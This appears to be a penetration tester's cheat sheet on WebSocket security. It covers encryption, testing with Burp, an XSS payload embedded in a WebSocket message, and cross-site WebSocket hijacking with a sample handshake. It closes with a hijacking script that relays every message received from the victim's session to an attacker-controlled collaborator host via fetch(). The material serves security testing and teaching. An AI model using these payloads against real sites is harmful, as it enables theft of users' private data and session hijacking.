WebSockets

WebSockets are initiated over HTTP and provide long-lived connections with asynchronous communication in both directions. WebSockets are used for all kinds of purposes, including performing user actions and transmitting sensitive information. Virtually any web security vulnerability that arises with regular HTTP can also arise in relation to WebSockets communications.

Encryption

You should strongly prefer the secure “wss://” protocol over the insecure “ws://” transport. Like HTTPS, WSS (WebSockets over SSL/TLS) is encrypted, thus protecting against man-in-the-middle attacks. A variety of attacks against WebSockets become impossible if the transport is secured.

ws://example.com:1234

WebSockets over SSL/TLS

wss://example.com:1234

Testing WebSockets

Finding WebSockets security vulnerabilities generally involves manipulating them in ways that the application doesn’t expect. Use the Proxy -> WebSockets history tab in Burp.

Cross Site Scripting (XSS)

For payload examples, see Cross Site Scripting (XSS). WebSocket message example:

{"message":"Hello Carlos"}
{"message":"<img src=1 onerror='alert(1)'>"}

SQL Injection

See Hack the Box (HTB) – Soccer and SQLmap.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a Cross Site Request Forgery (CSRF) vulnerability on a WebSocket handshake. See Cross-site WebSocket hijacking (PortSwigger).

Check if vulnerable to CSRF

  • Find a handshake message:
    • must rely only on HTTP cookies for session handling
    • no tokens or other unpredictable values in request parameters

The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes.

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Example of payloads to store and send to the victim:

<script>
    var ws = new WebSocket('wss://example.com/chat');
    ws.onopen = function() {
        ws.send("SOME MESSAGE");
    };
    ws.onmessage = function(event) {
        fetch('https://<BURP COLLABORATOR ID>.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>